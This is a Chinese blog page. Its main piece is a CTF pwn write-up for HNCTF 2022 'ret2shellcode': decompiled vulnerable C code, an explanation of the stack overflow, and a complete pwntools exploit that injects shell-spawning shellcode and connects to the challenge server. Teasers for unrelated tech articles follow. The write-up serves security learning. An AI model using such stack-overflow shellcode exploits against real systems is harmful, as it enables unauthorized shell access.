news 2026/9/3 2:37:54

[HNCTF 2022 Week1]ret2shellcode

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[HNCTF 2022 Week1]ret2shellcode

第一次打CTF——PWN篇学习笔记17

int __fastcall main(int argc, const char **argv, const char **envp) { char s[256]; // [rsp+0h] [rbp-100h] BYREF ​ setbuf(stdin, 0); setbuf(stderr, 0); setbuf(stdout, 0); mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000u, 7); memset(s, 0, sizeof(s)); read(0, s, 0x110u); strcpy(buff, s); return 0; }

checksec一下没有特殊的保护机制,程序先把stdout所在的内存页变成可读可写可执行,然后read一下发生栈溢出再将s的内容拷贝到buff中,因此我们可以构造payload使其前部分为没有'\0'的shellcode,接着覆盖返回地址到buff来执行shellcode从而获得flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./shellcode') io = remote("node5.anna.nssctf.cn",23229) ​ buff = 0x4040A0 ​ shellcode = asm(shellcraft.sh()) ​ payload = shellcode.ljust(0x100 + 8,b'A') + p64(buff) ​ io.sendline(payload) ​ io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/3 0:52:34

解锁RK3568:OpenHarmony移植实战全攻略

引言 在当今数字化时代,芯片与操作系统作为硬件和软件的核心,其重要性不言而喻。RK3568 芯片作为一款备受瞩目的处理器,以其强大的性能和丰富的功能,在智能安防、工业控制、物联网等众多领域得到了广泛应用。而 OpenHarmony 作为一款开源、面向全场景的分布式操作系统,具有…

作者头像 李华
网站建设 2026/9/3 1:49:48

Node.js 编程实战:数据库连接池与性能优化

在 Node.js 后端开发中,数据库性能往往决定了整个系统的吞吐能力和稳定性。很多性能问题并不来自业务逻辑本身,而是由于数据库连接管理不当造成的。合理使用数据库连接池,并结合针对性的优化策略,是构建高性能 Node.js 应用的关键…

作者头像 李华
网站建设 2026/9/2 23:34:49

【回顾React的一些小细节】render里不可包含的东西

在 React 的 render()(或函数组件的渲染路径)中 不应包含副作用(Side effects): 如网络请求、订阅、定时器、I/O、路由跳转等。 为什么:render 应是纯函数,副作用会在每次渲染重复执行或引发循环。替代&…

作者头像 李华
网站建设 2026/9/1 21:44:04

文生中英双语的AI视频工具怎么选?一个英语老师的实测结论

如果你是英语老师,正在找文生中英双语的AI视频工具,那我几乎可以确定—— 你遇到的问题,和我一模一样。不是不会讲英语,也不是不会设计内容,而是:双语视频根本做不完。在我正式给结论之前,先把最…

作者头像 李华
网站建设 2026/9/3 1:22:16

PostgreSQL_note2025

SELECT pg_get_functiondef(p.oid) AS ddl_definition FROM pg_proc p JOIN pg_namespace n ON p.pronamespace n.oid WHERE n.nspname ‘ods’ – 模式名 AND p.proname ‘xxxxxxxx’; – 存储过程名 –表信息 select c.relname table_name, nsp.nspn…

作者头像 李华
网站建设 2026/9/1 18:29:27

鸿蒙Electron应用性能优化与稳定性保障:从流畅运行到可靠服务

结合前文对开发、UX优化及商业化评估的全面覆盖,本次将聚焦鸿蒙Electron应用的“性能优化与稳定性保障”,从“性能瓶颈定位、核心优化方案、稳定性监控体系”三个维度,提供可落地的性能调优策略与稳定性保障方案,解决Electron应用…

作者头像 李华